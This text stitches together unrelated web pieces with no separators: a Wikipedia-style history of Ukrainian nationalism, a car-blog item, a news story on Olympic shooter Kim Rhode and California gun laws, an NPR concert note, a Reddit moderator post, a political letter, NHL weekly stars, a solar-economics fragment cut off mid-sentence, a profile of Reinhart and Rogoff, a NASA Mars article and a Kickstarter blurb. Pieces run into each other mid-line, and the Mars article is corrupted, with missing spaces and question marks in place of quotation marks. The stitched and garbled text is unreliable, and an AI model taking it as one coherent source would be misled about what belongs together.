Beside Shevchenko numerous other poets have written in Ukrainian. Among them, Volodymyr Sosyura in his poem Love Ukraine (1944) stated that one cannot respect other nations without respect for one's own.
Ukrainian nationalism in the 20th century [ edit ]
World War I [ edit ]
Postcard published by the Ukrainian Brigade, “United Ukrainians defend against both Polish and Russian forces”, 1920.
With the collapse of the Russian Empire a political entity which encompassed political, community, cultural, and professional organizations was established in Kiev from the initiative from the Association of the Ukrainian Progressionists (abbr. TUP). This entity was called the "Tsentralna Rada" (Central Council) and was headed by the historian, Mykhailo Hrushevskyi.[8] On January 22, 1918, the Tsentralna Rada declared Ukraine an independent country.[8] This independence was recognized by the Russian government headed by Lenin, as well as the Central Powers and other states.[9] However, this government did not survive very long because of pressures not only from Denikin's Russian White Guard, but also the Red Army, German and Entente intervention, and local anarchists such as Nestor Makhno and (Green Army of Otaman Zeleny).[8]
Territory that was claimed by Ukraine according to an old postcard dating 1919
Interwar period in Soviet Ukraine [ edit ]
As Bolshevik rule took hold in Ukraine, the early Soviet government had its own reasons to encourage the national movements of the former Russian Empire.
Until the early-1930s, Ukrainian culture enjoyed a widespread revival due to Bolshevik concessions known as the policy of Korenization ("indigenization"). In these years an impressive Ukrainization program was implemented throughout the republic. In such conditions, the Ukrainian national idea initially continued to develop and even spread to a large territory with traditionally mixed population in the east and south that became part of the Ukrainian Soviet Socialist Republic.
At the same time, despite the ongoing Soviet-wide anti-religious campaign, the Ukrainian national Orthodox Church was created, the Ukrainian Autocephalous Orthodox Church. The church was initially seen by the Bolshevik government as a tool in their goal to suppress the Russian Orthodox Church, always viewed with great suspicion by the regime for its being the cornerstone of the defunct Russian Empire and the initially strong opposition it took towards the regime change. Therefore, the government tolerated the new Ukrainian national church for some time and the UAOC gained a wide following among the Ukrainian peasantry.
These events greatly raised the national consciousness among the Ukrainians and brought about the development of a new generation of Ukrainian cultural and political elite. This in turn raised the concerns of Joseph Stalin, who saw danger in the Ukrainians' loyalty towards their nation competing with their loyalty to the Soviet State and in early 1930s the "Ukrainian bourgeois nationalism" was declared to be the primary problem in Ukraine. The Ukrainization policies were abruptly and bloodily reversed, most of the Ukrainian cultural and political elite was arrested and executed, and the nation was decimated with the famine called the Holodomor.
Interwar period in modern-day Western Ukraine [ edit ]
After World War I, lands of what is today Western Ukraine were incorporated into newly restored Poland. Tadeusz Hołówko died in Truskawiec (Truskavets) on August 29, 1931, one of the first victims of an assassination campaign carried out by militants of the Organization of Ukrainian Nationalists (OUN). On 15 June 1934, Bronisław Pieracki was assassinated by a Ukrainian nationalist from the Organization of Ukrainian Nationalists.
World War II [ edit ]
With the outbreak of war between Nazi Germany and the Soviet Union in 1941, many nationalists in Ukraine thought that they would have an opportunity to create an independent country once again. An entire Ukrainian volunteer division of the SS had been created.
Many of the fighters who had originally looked to the Nazis as liberators, quickly became disillusioned and formed the Ukrainian Insurgent Army (UPA) (Ukrainian: Українська Повстанська Армія - У.П.А.), which waged military campaign against Germans and later Soviet forces.[10] The primary goal of OUN was “the rebirth, of setting everything in order, the defense and the expansion of the Independent Council of Ukrainian National State”. OUN also revived the sentiment that “Ukraine is for Ukrainians”.[11]
On June 30, 1941, the OUN, led by Stepan Bandera, declared an independent Ukrainian state.[12] This was immediately acted upon by the Nazi army, and Bandera was arrested and imprisoned from 1941 to 1944.[12]
Ukrainian nationalists demonstrate against Soviet Union and for a free Ukraine in 1941.
The UPA was a military group that took up arms first against the Nazis and later against the Soviets. During World War II, the UPA fought against the Polish, German and Soviet forces. After the Second World War, UPA took actions directed against Soviet rule within Ukraine. Many members of the UPA saw themselves as the armed wing of the OUN in its struggle for Ukrainian independence.[13]
There has been much debate as to the legitimacy of UPA as a political group. UPA maintains a prominent and symbolic role in Ukrainian history and the quest for Ukrainian independence.[14] At the same time it was deemed an insurgent or terrorist group by Soviet historiography.[14]
Ukrainian Canadian historian Serhiy Yekelchyk writes that during 1943 and 1944 an estimated 35,000 Polish civilians and an unknown number of Ukrainian civilians in the Volhynia and Chelm regions fell victim to mutual ethnic cleansing by the UPA and Polish insurgents.[15] Niall Ferguson writes that around 80,000 Poles were murdered then by Ukrainian nationalists.[16] Norman Davies in his book Europe at War 1939–1945: No Simple Victory puts the number of murdered Polish civilians at between 200,000 and 500,000, while Timothy Snyder writes that Ukrainian nationalists killed "between forty to sixty thousand Polish civilians in Volhynia in 1943".[17]
Declaration of state sovereignty (1991) [ edit ]
The most celebrated[quantify] event in modern Ukrainian nationalist history is the achievement of independence[citation needed] from the Soviet Union after its collapse in 1991.
Ukrainian nationalism in present-day Ukraine [ edit ]
Lviv football fans at a game vs. Donetsk. The banner reads " Bandera - our hero"
Voters from Western Ukraine and Central Ukraine tend to vote for pro-Western and pro-European general liberal national democrats[18][19] with the Our Ukraine Blocs and Bloc Yulia Tymoshenko (now Batkivshchyna[20]) as its frontrunners;[21] UDAR replaced the Our Ukraine Bloc in the 2012 Ukrainian parliamentary election.[22][23] Our Ukraine, a major national democratic[19] force in Ukrainian politics in the early 21st century[24] met with total failure since the 2010 Ukrainian local elections.[25][26] While in Eastern Ukraine and Southern Ukraine pro-Russian parties get the vote.[18] Since the 2012 Ukrainian parliamentary election Fatherland and UDAR cooperate officially with All-Ukrainian Union "Svoboda".[27]
Until the 2009 Ternopil Oblast local election Svoboda and other nationalist parties role in Ukrainian politics had been extremely marginal.[28] However, in the 2012 parliamentary elections Svoboda came in fourth with 10,44% (almost a fourteenfold of its votes compared with the 2007 parliamentary elections[29][30]) of the national votes and 38 out of 450 seats.[31]
Nationalism in politics [ edit ]
Euromaidan activists wave Ukraine's official flag, the flag of the Ukrainian People's Self-Defense and a red and black flag used by multiple nationalist organizations vying for Ukraine's independence after both World Wars, it dates back all the way to Ukraine's 16th century, March 2014
From the 1998 parliamentary elections[a 1][32][29][33] till the 2012 parliamentary elections no nationalist party obtained seats in the Verkhovna Rada (Ukraine's parliament).[20][28] In these elections nationalist right wing parties obtained less than 1% of the votes; in the 1998 elections they obtained 3.26%.[28] The nationalist party Svoboda had an electoral breakthrough with the 2009 Ternopil Oblast local election when they obtained 34.69% of the votes and 50 seats out of 120 in the Ternopil Oblast Council.[28] This was the best result for a far-right party in Ukraine’s history.[28] In the previous 2006 Ternopil Oblast local election the party had obtained 4.2% of the votes and 4 seats.[28] In the simultaneously held local elections for the Lviv Oblast Council it had obtained 5.62% of the votes and 10 seats and 6.69% of the votes and 9 seats in the Lviv city council.[28]
In the 2010 Ukrainian local elections Svoboda achieved notable success in Eastern Galicia.[25] In the 2012 parliamentary elections Svoboda came in fourth with 10,44% (almost a fourteenfold of its votes compared with the 2007 parliamentary elections[29][30]) of the national votes and 38 out of 450 seats.[31][34] Since the 2012 Ukrainian parliamentary election Batkivshchyna and UDAR cooperate officially with Svoboda.[27]
In the 2014 Ukrainian presidential elections and 2014 parliamentary elections, Svoboda candidates failed to meet the electoral threshold to win.
On 19 November 2018 Svoboda and fellow Ukrainian nationalist political organizations Organization of Ukrainian Nationalists, Congress of Ukrainian Nationalists, Right Sector and C14 endorsed Ruslan Koshulynskyi candidacy in the 2019 Ukrainian presidential election.[35]
Contemporary Russian-Ukrainian conflict [ edit ]
The topic of Ukrainian nationalism and its alleged relationship to Neo-Nazism came to the fore in polemics about the more radical elements involved in the Euromaidan protests and subsequent Ukrainian crisis from 2013 onward. Russian media has attempted to portray the Ukrainian party in the conflict as Nazi, while at the same time key ideologies in the pro-Russian side, such as the former National Bolshevik-figure Aleksandr Dugin themselves claim intellectual influence from the likes of Heinrich Himmler of the Waffen-SS. The main Ukrainian organisations involved with a neo-Banderaite legacy are Svoboda, Right Sector and Azov Battalion.
In 1991 Svoboda was founded as the 'Social-National Party of Ukraine'.[36] The party combined radical nationalism and alleged neo-Nazi features.[37] It was renamed and rebranded 13 years later as 'All-Ukrainian Association Svoboda' in 2004 under Oleh Tyahnybok. Political scientists Olexiy Haran and Alexander J. Motyl contend that Svoboda is radical rather than fascist and they also argue that it has more similarities with Far-Right movements like the Tea Party than it has with either fascists or neo-Nazis.[38][39] In 2005 Victor Yushchenko appointed Volodymyr Viatrovych head of the Ukrainian security service (SBU) archives. According to Professor Per Anders Rudling, this not only allowed Viatrovych to sanitize ultra nationalist history, but it also allowed him to officially promote its dissemination along with OUN(b) ideology which is based on 'ethnic purity' coupled with anti-Russian, anti-Polish and anti-semitic rhetoric.[40]:229–230 The extreme right wing now capitalizes on 'Yushchenkoist' propaganda initiatives.[40]:235 This includes Iuryi Mykhal'chyshyn, an ideologue who proudly confesses that he is a part of the fascist tradition.[40]:240 The autonomous nationalists focus on recruiting young people, participating in violent actions, and advocating "anti-bourgeoism, anti-capitalism, anti-globalism, anti-democratism, anti-liberalism, anti-bureaucratism, anti-dogmatism". In 2009 Svoboda fetched 34,7% of the votes in the Ternopil Oblast local elections. Svoboda was part of a right wing Alliance of European National Movements until it withdrew from the organization in 2014.[40][41] Per Anders Rulig has suggested that "Viktor Yanukovych has indirectly aided Svoboda" by "granting Svoboda representatives disproportionate attention in the media".[40]:247
After Yanokovych's ouster in February 2014, the interim Yatsenyuk Government placed 4 Svoboda members in leading positions: Oleksandr Sych as Vice Prime Minister of Ukraine, Ihor Tenyukh as Minister of Defense, lawyer Ihor Shvaika as Minister of Agrarian Policy and Food and Andriy Mokhnyk as Minister of Ecology and Natural Resources of Ukraine.[42] However, the U.S. State Department has stated in a 5 March 2014 fact sheet that "Far-right wing ultranationalist groups, some of which were involved in open clashes with security forces during the EuroMaidan protests, are not represented in the Rada."[43]
Andriy Biletsky, the head of the ultra-nationalist and neo-Banderaite political groups Social-National Assembly and Patriots of Ukraine,[44] is commander of the Azov Battalion[45] (in October 2016 Biletsky officially left the Ukrainian military because (Ukrainian) elected officials are barred from serving in the army,[46] but he vowed to continue his military career "without titles"[46]) Azov Battalion of the Ukrainian National Guard[47] fighting pro-Russian separatists in the War in Donbass.[48][49] According to a report in The Daily Telegraph, some individual anonymous members of the battalion identified themselves as sympathetic to the Third Reich.[45] Biletsky is a member of the Ukrainian Parliament.[47] In June 2015, Democratic Representative John Conyers and his Republican colleague Ted Yoho offered bipartisan amendments to block the U.S. military training of Ukraine's Azov Battalion.[47]
In the 2014 Ukrainian parliamentary election, the right-wing parties Svoboda and Right Sector (representing ultranationalists who were involved in clashes with security forces during the Euromaidan protests) did not pass the 5% threshold, cumulatively receiving only 8 seats in the 450-seat Ukrainian parliament (less than 2% of all seats). Since 14 April 2016 the Chairman of the Ukrainian Parliament has been Andriy Parubiy,[50][51] the co-founder of the Social-National Party of Ukraine.[52] Parubiy has had no affiliation with this party or with its successors since 2004.[53]
The radical nationalists group С14, whose members openly expressed neo-Nazi views, gained notoriety in 2018 for being involved in violent attacks on Romany camps.[54][55][56]
Soviet Union and Ukrainian bourgeois nationalism [ edit ]
In Soviet ideology there exists the concept of Ukrainian bourgeois nationalism (UBN) (Ukrainian: Український буржуазний націоналізм, (УБН)). This nationalism was presented as a form of an anti-socialist and counterrevolutionary, "bourgeois" movement. All counter-revolutionary activities were persecuted by the Article 58 of the 1922 Russian Criminal Code. The definition of Ukrainian bourgeois nationalism was well put in the foreword of a Soviet book from the 1950s "Under foreign flags" by Volodymyr Byelyayev. The book claimed that Ukrainian bourgeois nationalism was invented by the "archenemy" of the Ukrainian people, the historian Mykhailo Hrushevsky, whom the author claimed to have been a German spy. Hrushevsky enjoyed great political and public popularity and respect, so the Soviet government resorted to negative public relations against him. These accusations were recently reiterated by the doctor of historical sciences Vitaliy Sarbei who was published by the Russian information agency "Rosbalt" (February 2011). The book "Under foreign flags" gives the following definition of Ukrainian bourgeois nationalism:
Ukrainian bourgeois nationalism is the ideology and politics of the Ukrainian bourgeoisie. Exploiting society, the social base of Ukrainian bourgeois nationalism was a stratum made up of all urban and rural bourgeoisie starting from the big capitalists, owners of big industrial enterprise, and finishing with numerous layers of the bourgeois class under capitalism, kurkul. The economical base for the growth of Ukrainian bourgeois nationalism in the epoch of imperialism is the same as for that of any nationality, that is, the increase of imperialist competition for sales markets and raw materials.
Ukrainian bourgeois nationalism was a cliché of Soviet phraseology such as "Proletarian internationalism", "Fraternity of peoples", "Agitprop", "Stakhanovite movement", "Enemy of the people" and numerous others. According to Soviet ideology Ukrainian bourgeois nationalism was a specific form of bourgeois nationalism recognizing the superiority of national interests over class interests (see Class in Marxist theory). The idea of bourgeois nationalism was required to keep consistency with the Bolshevik's Declaration of the Rights of the Peoples of Russia which set a wave of secession movements across the former Russian Empire. This concept of nationalism was also used to identify everyone who did not share the national policy principles of the Communist Party (Bolsheviks), proletarian internationalism, and did not fit under the definition of bourgeois cosmopolitanism. In Soviet ideology, bourgeois cosmopolitanism was a negative phenomenon and opposite to the proclaimed fraternity of peoples.
The term first appeared in the 1920s in the documents of the Communist Party and spread into Soviet journalism and science literature. It was needed as an ideological device. Similarly, Soviet historiography equated Ukrainian nationalism with fascism and with Nazism despite the fact that racism and cult of personality were extrinsic to Ukrainian nationalism, which was its distinction.
Nationalist political parties [ edit ]
Current [ edit ]
Defunct [ edit ]
See also [ edit ]
Notes [ edit ]
References [ edit ]Sometimes movies give us a glimpse into an alternate reality or some possible future. Even the worst of these movies typically offer a look at what the people of these worlds drive. Sometimes the cars are cool, and sometimes they’re a Lexus concept you forgot about in 2002's Minority Report.
I’ve hinted in the past about how the cars and traffic systems of Minority Report raise an alarm in the back of my mind when I think about our projected autonomous future. Sure, the blob-ish cars look pretty cool, but it’s the way they move around vertical surfaces at high speeds that gets me queasy.
If you took a liking to the vehicles you saw in Minority Report, eBay user ferrarimv, or Mike Vetter, is selling his Lexus 2054 replica movie car for just $95,000. He’s also willing to do a partial trade on a C6 Corvette.
Again, this is just a replica of the concept car that Lexus developed upon request from director Steven Spielberg for the movie, and not the actual concept.
Advertisement
According to the eBay listing, the renamed Vetter Custom Dimensia is based on a Porsche, RWD and powered by a 2.7 liter 6-cylinder with an automatic transmission. Some of the custom car’s other features appear to be street legal, but whether you’re willing to trust the whole package is up to you and your wallet.
Advertisement
The listing promises a solid build, with advanced amenities like being able to speak on the cellphone in the cabin with enough space for a six-foot-tall person to fit just fine.
And, personally, it looks like a backup movie prop. Sort of like a movie gun—there’s the hero gun which is meant to look realistic, and then typically a rubber backup that the actors use to throw around. This seems like the latter in a car equivalent.
Just like the bizarro future Minority Report previewed, this car just might preview the typical eBay vehicle listing in 2054.
Advertisement
And what are you going to cross-shop it with? A replica I, Robot Audi whatever? A Honda CRX Back To The Future “homage” disaster? I do have to ask; Nice Price or Crack Pipe?
Via The VergeThe triple gold medallist says new laws passed in her home state of California make it more difficult for her to practise
America’s top Olympic shooter, Kim Rhode, took a strong stand against gun control laws, offering full support for carrying concealed weapons and attacking gun legislation in her home state of California.
“I’m definitely becoming more vocal because I see the need,” said Rhode, a skeet shooter going for a medal in her sixth straight Olympics. “We just had six laws that were passed in California that will directly affect me. For example, one of them being an ammunition law. I shoot 500 to 1,000 rounds a day, having to do a background check every time I purchase ammo or when I bring ammo out for a competition or a match – those are very, very challenging for me.”
Rhode is referring to a new set of gun control measures, one of which requires a background check for ammunition purchases, in the same way that background checks are required for guns in the state – but there doesn’t appear to be any limit on the amount of ammunition that can be purchased at once. Nor does there appear to be any requirement for a background check when ammunition is brought to a competition or match, according to the Law Center to Prevent Gun Violence.
But Rhode’s comments come as gun control has become a central issue in the presidential election. Hillary Clinton has vowed to tighten gun laws and challenge the might of the National Rifle Association, which has fought reforms and given Donald Trump its endorsement.
'It's a matter of survival': the black Americans fighting for gun rights Read more
Rhode said she hoped to be able to pass her rifles down to her now three-year-old son, who she plans to teach how to use a gun as soon as he is at “an appropriate age”. She said new laws in California to curtail the flow of guns will actually prevent her from inheriting her own father’s guns or maybe even give hers to her children. In fact, although it’s true that firearms defined as “assault rifles” cannot be inherited, parents can lawfully transfer non-assault weapons to their adult children. (Generally, California does not allow minors to have handguns.)
“If you are doing boy scouts and you are trying to teach them gun safety, how do you teach safety and teach responsibility?” she said. “That’s something we are facing now in the state of California.”
When asked about the mass killings such as those in Newtown, Connecticut, and San Bernardino, not far from her childhood home of Whittier, California, she expressed sadness over the deaths but added that many of the recent mass shootings have occurred in cities where anti-gun legislation is already on the books. She suggested that those shootings are examples of why gun control doesn’t work.
“When you look at these events that have been occurring, they’ve been occurring in some of the strictest gun law countries in the world,” she said. “You have Paris, you have San Bernardino, which was actually in a gun-free zone, so, yeah, it’s actually something that you take into consideration.
“For me personally, I realize the first responsibility of a police officer is to respond to an incident and for me personally, in that five minutes or 10 minutes or 20 minutes in some cases that it takes for them to get there, how do you want to stand there? I would rather have my second amendment right.”
Rhode, who has won three Olympic gold medals, the last of which came in the 2012 London Games, believes her sport has been “stigmatized” in recent years. She lamented the loss of the world of her parents, where children read “dime novels” about Teddy Roosevelt and Annie Oakley and guns were celebrated as a part of culture.
She expected her press conferences to be more about gun control than her performance and spends time studying proposed anti-gun laws before big shooting events.
She added that the stigma that has been attached to shooting has affected her ability to get endorsements, saying that at least one large company refused to sponsor her.
She also wondered why comparable Olympic stars are not put under the same scrutiny as shooters. For instance, she said, why are swimmers not interrogated in interviews after a publicized drowning accident?
“Here’s a little bit of information for you. I actually learned to shoot on a semi-automatic it was a 20-gauge semi-automatic shotgun, and that’s what most people learn to shoot on,” she said. “It kicks less, it has less recoil.”
“Some of these laws they are starting to pass now, for instance, in the state of California – if I were to purchase a gun, I cannot loan that gun to someone who is not a blood relative so that means that I can’t loan it to my husband or I can’t loan it to an adopted child.”
“Even though we’re married and we’re all family, they’re not considered a blood relative.”
In fact, according to California AB-1511, a firearm can be loaned to a spouse or registered domestic partner, parent, child, grandparent, or grandchild. Further, the law allows the loan to “relations, whether by consanguinity, adoption, or step-relation”.
Additional reporting by Jessica GlenzaPut your love of perfection outside the office door and come in for some office fun. This collaboration between Philadelphia's Kurt Vile and Melbourne's Courtney Barnett is more about newfound friends poking jabs, goofing around and having fun with words than reaching any new musical heights. It's a much welcome injection of humor in the world of rock music and if you've heard their collaborative album Lotta Sea Lice, you'll find this Tiny Desk performance musically even more casual. It's akin to hearing friends play after a few afternoon beers, which is kind of what happened. (We actually had to page folks in the building hoping for some brew and were quite surprised at what the NPR staff had stashed in the fridge.)
The two singers/songwriters/guitarists have been mutual admirers and kept bumping into one another at various festivals. They find mutual love for twang and so their songs lean country, though their respective countries are hemispheres apart.
Kurt and Courtney tend to bring out the adolescence in one another, inspiring Kurt to pick out a song he wrote when he was roughly fourteen called "Blue Cheese" about, well, I'm not sure. But lines like, "I didn't mean to cough on her/Forgot to add the fabric softener," just make me laugh; and in 2017, in a deeply serious political landscape, I find that quite refreshing.
Set List
"Over Everything"
"Continental Breakfast"
"Blue Cheese"
"Let It Go"
Musicians
Courtney Barnett, Kurt Vile
Credits
Producers: Bob Boilen, Morgan Noelle Smith; Creative Director: Bob Boilen; Audio Engineer: Josh Rogosin; Videographers: Morgan Noelle Smith, Alyse Young; Production Assistant: Salvatore Maicki; Photo: Jennifer Kerrigan/NPR
For more Tiny Desk concerts, subscribe to our podcast.So, you may have noticed this sub went private last week, I got a lot of modmail asking to be let in that has gone unanswered, and I know people are wondering, what happened? Well, let me answer those questions as best I can.
Yes, Francis died
I know, I'm utterly heartbroken too, but it's true. Francis, the host of Cooking with Dog, has died. I'm not ashamed to admit, this news has brought me to tears today, Francis brought so much joy and good recipes to so many people, for many of us he was a shining light of all that is good in this world, and his loss will leave a hole in our hearts that nothing will fill. Let us all treasure our memories of Francis, for he was a good dog, and remind ourselves to appreciate the things that bring us joy and happiness.
Why did the sub go private?
I was away for a while, and this sub is pretty hard to moderate. From people posting doxxing info that I have been nipping in the bud as quickly as I see it, to nazi shitheads posting images of lynchings, and other bullshit, it's a very hands-on sub and I couldn't deal with it while away.
What is the future of this sub?
Fuck knows, I started it because it was a terrific piece of catharsis, if anyone has any suggestions, please let me know. Honestly, I don't care, still mourning the loss of Francis :(SHARE
Ken Hutchins, Bremerton
Trump's statements have made him a hero
Like him or not, the reasons Donald Trump has supporters are his statements on the border, immigration, jobs, military and the slogan "Make America Great Again." The fact that he says Heidi Klum's no longer a "10" doesn't even register. That's not enough to cause people to question why they support him.
But there's another very important element: How is it that the vast majority of this country has been silenced into submission?
It's political correctness, and Trump blows that all to smithereens. And if you don't think that's a major factor on the political scene today, you'd better learn it quick. Trump says things most folks desperately want to say. He carries this banner for the people. He says and acts in ways they do in private, but can't get away with in public... and it makes him a hero.Pominville paced the NHL with six assists and eight points in four games to power the Western Conference-leading Wild (37-12-6, 80 points) to a 3-0-1 week. He registered 2-2-4, his fourth career four-point performance and first since Jan. 1, 2011 (w/ BUF), in a 4-2 victory over the Winnipeg Jets Feb. 7. He then collected one assist in both a 4-3 overtime loss to the Chicago Blackhawks Feb. 8 and a 2-1 shootout win against the Tampa Bay Lightning Feb. 10. Pominville capped the week with two more helpers, his sixth multi-point effort of 2016-17, in a 6-3 triumph over the Detroit Red Wings Feb. 12. The 34-year-old Repentigny, Que., native has 10-25-35 in 55 outings this season, including 2-7-9 during a five-game point streak.
SECOND STAR - JAKE ALLEN, G, ST. LOUIS BLUES
Allen went 3-0-0 with a 1.00 goals-against average,.967 save percentage and one shutout to propel the Blues (29-22-5, 63 points) to a perfect week and third place in the Central Division. He earned his 13th career shutout with 30 saves in a 6-0 win over the Ottawa Senators Feb. 7. Allen then made 31 stops in a 2-1 overtime victory against the Toronto Maple Leafs Feb. 9 and 28 saves in a 4-2 triumph over the Montreal Canadiens Feb. 11. The 26-year-old Fredericton, N.B., native owns a 21-14-3 record with a 2.67 goals-against average,.904 save percentage and two shutouts in 41 appearances this season.
THIRD STAR - VIKTOR ARVIDSSON, LW, NASHVILLE PREDATORS
Arvidsson shared the League lead in goals (5) and ranked second in points (7) to guide the Predators (27-21-8, 62 points) to a split of their four games. He posted 2-1-3, his second career three-point performance, in a 4-2 victory over the Vancouver Canucks Feb. 7. Arvidsson was held off the scoresheet in a 4-3 loss to the New York Rangers Feb. 9, but rebounded with his first career hat trick in a 7-4 defeat against the Florida Panthers Feb. 11 and one assist in a 5-3 win over the Dallas Stars Feb. 12. The 23-year-old Skellefteå, Sweden, native ranks second on the Predators with 18-21-39 in 54 contests this season after totaling 8-8-16 in his first 62 career gamesAs solar penetration grows, its value to the electricity system decreases. One way to see this is by observing the wholesale market price of electricity when solar generation is highest. The more solar energy that feeds into the grid, the lower the wholesale price will be during periods of peak solar production, as more supply chases demand. More formally, solar's sinking value to the grid is tied to the declining temporal covariance between solar production and the grid's marginal costs of serving demand12.
In the short term, this has little impact on solar's competitiveness. Most solar projects are insulated from wholesale market prices because they have long-term fixed-price power purchase agreements (utility-scale solar) or compete via net energy metering with retail electricity prices (distributed solar).
However, in the long term, as solar becomes a mainstream power source, regulators and utilities around the world are likely |
it makes so much sense that it sounds obvious and simple. It doesn’t sound clever anymore.”
But, she says, “economists love being clever.”
“THIS TIME IS DIFFERENT” was published last September, just as the nation was coming to grips with a financial crisis that had nearly spiraled out of control and a job market that lay in tatters. Despite bailout after bailout, stimulus after stimulus, economic armageddon still seemed nigh.
Given this backdrop, it’s perhaps not surprising that a book arguing that the crisis was a rerun, and not a wholly novel catastrophe, managed to become a best seller. So far, nearly 100,000 copies have been sold, according to its publisher, the Princeton University Press.
Advertisement Continue reading the main story
Still, its authors laugh when asked about the book’s opportune timing.
“We didn’t start the book thinking that, ‘Oh, in exactly seven years there will be a housing bust leading to a global financial crisis that will be the perfect environment in which to sell this giant book,’ ” says Mr. Rogoff. “But I suppose the way things work, we expected that whenever the book came out there would probably be some crisis or other to peg it to.”
They began the book around 2003, not long after Mr. Rogoff lured Ms. Reinhart back to the I.M.F. to serve as his deputy. The pair had already been collaborating fruitfully, finding that her dogged pursuit of data and his more theoretical public policy eye were well matched.
Although their book is studiously nonideological, and is more focused on patterns than on policy recommendations, it has become fodder for the highly charged debate over the recent growth in government debt.
To bolster their calls for tightened government spending, budget hawks have cited the book’s warnings about the perils of escalating public and private debt. Left-leaning analysts have been quick to take issue with that argument, saying that fiscal austerity perpetuates joblessness, and have been attacking economists associated with it.
Mr. Rogoff, because of his time at the I.M.F., has also come under fire.
In the years before and during Mr. Rogoff’s tenure, critics including the prominent economist Joseph Stiglitz accused the I.M.F. of having a cold-hearted, doctrinaire approach to its work in poorer countries. Some of that criticism still clings to Mr. Rogoff. For his part, he contends that the I.M.F. did what it could for countries with intractable problems, and that the critics’ approaches would have made troubled economies even weaker.
Perhaps because “This Time Is Different” is empirical rather than prescriptive, it has defied categorization.
The New York Times Op-Ed columnist David Brooks, for example, praised the book as “the best explanation of the crisis” but referred to it as a history book, rather than a work of economic analysis, since it is “almost entirely devoid of theory.” (The implication being, of course, that genuine “economic analysis” must be hypertheoretical.)
Of course, it’s not as if history is an entirely new ingredient in economic study. There have been other vibrant historical recountings of financial crises, including “Manias, Panics and Crashes,” the 1978 book by Charles Kindleberger. Such books have typically been narrative, though, unlike the data-intensive “This Time Is Different.”
Advertisement Continue reading the main story
But even in its quantitative perspective and breadth, the book still stands on the shoulders of an economic classic, “A Monetary History of the United States: 1867-1960,” written by another great male-and-female pair of economists, Milton Friedman and Anna Jacobson Schwartz.
“What Friedman and Schwartz did for the U.S. was heroic,” says Ms. Reinhart. “Ken and I have benefited from the use of the Internet to track down books, sources and experts to help us with our work. Friedman and Schwartz did not.”
While Professors Reinhart and Rogoff may have had technological advantages in their research, they weren’t able to outsource much of the number-crunching to graduate students — in part because they wanted to be able to stay close to the data themselves, but also because few students are interested in or trained for that kind of work.
The economics profession generally began turning away from empirical work in the early 1970s. Around that time, economists fell in love with theoretical constructs, a shift that has no single explanation. Some analysts say it may reflect economists’ desire to be seen as scientists who describe and discover universal laws of nature.
“Economists have physics envy,” says Richard Sylla, a financial historian at the Stern School of Business at New York University. He argues that Paul Samuelson, the Nobel laureate whom many credit with endowing economists with a mathematical tool kit, “showed that a lot of physical theories and concepts had economic analogs.”
Since that time, he says, “economists like to think that there is some physical, stable state of the world if they get the model right.” But, he adds, “there is really no such thing as a stable state for the economy.”
Others suggest that incentives for young economists to publish in journals and gain tenure predispose them to pursue technical wizardry over deep empirical research and to choose narrow slices of topics. Historians, on the other hand, are more likely to focus on more comprehensive subjects — that is, the material for books — that reflect a deeply experienced, broadly informed sense of judgment.
“They say historians peak in their 50s, once they’ve accumulated enough knowledge and wisdom to know what to look for,” says Mr. Rogoff. “By contrast, economists seem to peak much earlier. It’s hard to find an important paper written by an economist after 40.”
Advertisement Continue reading the main story
MICROECONOMICS — the field that focuses on smaller units like households and workers, as opposed to big-picture questions about how national economies function — has embraced real-world data-mining. (Think “Freakonomics.”)
Macroeconomics has been slower to change, but the popular success of “This Time Is Different” and related work seems to be changing how macro practitioners approach their craft.
It has also changed how policy makers think about their own mission.
Mr. Rogoff says a senior official in the Japanese finance ministry was offended at the suggestion in “This Time Is Different” that Japan had once defaulted on its debt and sent him an angry letter demanding a retraction.
Mr. Rogoff sent him a 1942 front-page article in The Times documenting the forgotten default. “Thank you,” the official wrote in apology, “for teaching the Japanese something about our own country.”Translucent carbon dioxide ice covers the polar regions of Mars from each season. It is warmed and sublimates (evaporates) from below, and escaping gas carves a numerous channel morphologies.
SANFRANCISCO—NASA scientists have discovered what might form some of the weirdestlandscapes on Mars, winding channels carved into the Martian surface thatscientists have dubbed?spiders,??lace? and?lizard skin.?
The unusuallandscape features form in an area of Mars? south pole called cryptic terrainbecause it once defied explanation.
But newobservations from NASA?s Mars Reconnaissance Orbiter, presented here today at ameeting of the American Geophysical Union, bolster theories that the intricatepatterns may be sculpted by springtime outburstsof carbon dioxide gas from underneath the frozen-carbon dioxide polar icecap.
Bottom-up
Mars, likeEarth, has seasons that shift as the planet orbits the sun. During the southernhemisphere winter, some of the carbon dioxide in the planet?s atmospherefreezes to form a translucentice cap made of the gas.
Comespring, the sun?s rays penetrate this layer of ice and begin to warm the red-rocksurface underneath.
?The sunpasses through the ice and warms up the surface because the surface is dark andabsorbs the sunlight,? explained mission scientists Candice Hansen of NASA?sJet Propulsion Laboratory in Pasadena, Calif.
The warmsurface then heats the ice layer from the bottom up, causing carbon dioxide gasto sublimate (like dry ice fumes used to imitate fog at a haunted house) fromit and gather underneath the ice.
As the gasaccumulates and its pressure increases, it seeks out weak spots in the ice andbursts forth, spewing carbon dioxide gas back into the Martian atmosphere. Thegas carries some of the dustfrom the surface along with it, which then settles into?fans? on top ofthe ice.
?It?s aprocess unlike anything we have on Earth,? Hansen said.
Intricatepatterns
As thesurface material is carried out by the rushing gas, channels are carved intothe surface that form intricate patterns. Some, which scientists have dubbed?spiders,? have spindly channels that radiate outward from a center point.Hansen describes other patterns as appearing like lace or scaly lizard skin.
Just whatcauses these different shapes is a mystery. It could be different features ofthe underlying landscape or differences in the way the gas moves under the ice,but one thing is for sure Hansen said,?there?s something that causes thedifferent morphologies.?
Fields offans of surface material are scattered on top of the ice that overlies thechannel features, increasing as the spring wears on and the sun beats down moreintensely. Eventually, as summer approaches, all the ice evaporates away,leaving only the intricate scars on the Martian surface.About
Welcome to our Kickstarter project for i-Brix!
As Featured On....!!!!!
Handful of Lit Brix by i-Brix
i-Brix brings a whole new level of fun and function to your LEGO® building components. When developing i-Brix, I was determined to bring new “life” into a product I've enjoyed for years. LEGO® has been a household name for many enthusiasts for decades.
Example of Lit Brix being used off of the base!
i-Brix is an industry-first wireless lighting system designed to be used with LEGO® construction components. These little light-up Brix give you the flexibility and freedom to put lighted elements in your models without having to find a way to hide wires. And, since the i-Brix system is wireless, you won't need to worry about replacing batteries in each individual Lit Brix!
LEGO® Creator set with 6 Lit Brix from i-Brix
